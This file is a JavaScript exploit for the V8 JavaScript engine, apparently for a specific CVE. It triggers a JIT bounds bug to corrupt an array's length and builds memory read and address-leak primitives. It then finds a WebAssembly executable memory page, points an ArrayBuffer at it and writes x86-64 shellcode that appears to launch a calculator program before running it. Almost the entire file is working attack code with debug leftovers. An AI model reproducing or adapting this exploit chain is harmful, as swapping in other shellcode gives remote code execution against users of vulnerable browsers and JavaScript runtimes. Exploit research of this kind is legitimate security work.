cve_v8_expl.js

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
	u64_buf[0] = Number(val & 0xffffffffn);
	u64_buf[1] = Number(val >> 32n);
	return f64_buf[0];
}
function printhex(s, val) {
	console.log(s+'0x'+val.toString(16));
}
function gc() {
	for (let i = 0; i < 100; i++) {
		new ArrayBuffer(0x100000);
	}
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double = new Float64Array(new BigUint64Array([0x4848484800000001n]).buffer)[0];
function trigger(array) {
	var x = array.length;
	x -= 67108861;
	x = Math.max(x, 0);
	x *= 6;
	x -= 5;
	x = Math.max(x, 0);
	let corrupting_array = [0.1, 0.1];
	let corrupted_array = [0.1];
	corrupting_array[x] = length_as_double;
	return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}
gc();

var corrupted_array = trigger(giant_array)[1];
var idk = [1.1];
var target_array = [itof(0x1337133713371337n),itof(0x1338133813381338n),itof(0x1339133913391339n)]
var target_array2 = [itof(0x4747474747474747n)];
var object_array = [target_array,target_array2,{"A":1}];

console.log("Now");
function debug() {
	for(let i  = 1; i < 0x30000; i++) {
		console.log("FUCK");
	}
}
//debug();
console.log('corrupted array length: ' + corrupted_array.length.toString(16));

//DebugPrint(target_array);
//DebugPrint(target_array2);
//DebugPrint(object_array);

var search_space = [[0x8080000,0x0818d000],[0x81c0000,0x81c1000],[0x08200000,0x08280000],[0x083c0000,0x086c1000],[0x08700000,0x08900000],[0x08ac0000,0x090c1000],[0x09100000,0x29101000],[0x29140000,0x59141000],[0x59180000,0x599c0000]];

////DebugPrint(corrupted_array);

var index = -1;
var d = 1; 
if(d == 1) {
	for(var j = 0; j <= 5; j++) {	
		for(var i = search_space[j][0]/8; i < (search_space[j][1]/8) - 1; i++ ) {
			if(ftoi(corrupted_array[i]) == 0x4747474747474747n) {
				index = i;
				d = 0;
				break;
			}
		}
		if(d == 0) {
			break;
		}

	}
}

////DebugPrint(target_array);
////DebugPrint(target_array2);
////DebugPrint(object_array);
////DebugPrint(fuck);

if(index == -1) {
	throw new Error("Not found");
}

printhex("Found at",index*8);

////DebugPrint(target_array);
////DebugPrint(target_array2);
////DebugPrint(object_array);
////DebugPrint(fuck);

var object_array_map = ftoi(corrupted_array[index + (0x58/8)]);
printhex('object array map: ',object_array_map);
var double_array_map = ftoi(corrupted_array[index - (0x160/8)]);
var double_array_properties = ftoi(corrupted_array[index - (0x158/8)])&0xffffffffn;
var double_map = (double_array_properties<<32n) + (double_array_map>>32n)

function addrof(object) {
	object_array[0] = object;
	corrupted_array[index+(0x58/8)] = itof(double_map);
	var address = ftoi(object_array[0]);
	corrupted_array[index+(0x58/8)] = itof(object_array_map);
	return address;
}

//debug();
var w_instance = addrof(wasm_instance)&0xffffffffn - 1n;
printhex("HMM: ",w_instance);

if(((w_instance&0xfn) == 0x8n) || ((w_instance&0xfn) == 0x0n)) {
	var rwx_index = (w_instance + 0x60n);
	var rwx_page = ftoi(corrupted_array[rwx_index/8n]);
	printhex("PAGE: ",rwx_page);
}
else {
	var rwx_index = (w_instance+0x64n) ;
	var rwx_upper = (ftoi(corrupted_array[rwx_index/8n])&0xffffffffn)<<32n;
	var rwx_lower = (ftoi(corrupted_array[(rwx_index-8n)/8n])&0xffffffff00000000n)>>32n;
	var rwx_page = rwx_upper + rwx_lower;
	printhex("PAGE: ",rwx_page);

}

print("writing shellcode: ");
//Shellcode

var buf = new ArrayBuffer(0x100);
var dataview = new DataView(buf);
var buff_addr = (addrof(buf)&0xffffffffn)-1n;
printhex("00: ",buff_addr);
////DebugPrint(buf);
if ((buff_addr & 0xfn) == 0n || (buff_addr & 0xfn) == 8n) {
	backing_store = buff_addr + 0x8n;
	lower_half = buff_addr + 0x10n;
	upper_half = buff_addr + 0x8n;
	corrupted_array[lower_half/8n] = itof(0x4141414100000000n+((rwx_page&0xffffffff00000000n)>>32n));
	corrupted_array[upper_half/8n] = itof((rwx_page&0xffffffffn)<<32n);
}
else {
	backing_store = buff_addr + 0xcn;
	corrupted_array[backing_store/8n] = itof(rwx_page);
}
printhex("Backing store: ",backing_store);
var shellcode = [0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for (var i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i,shellcode[i],true);
}
f();
////SystemBreak();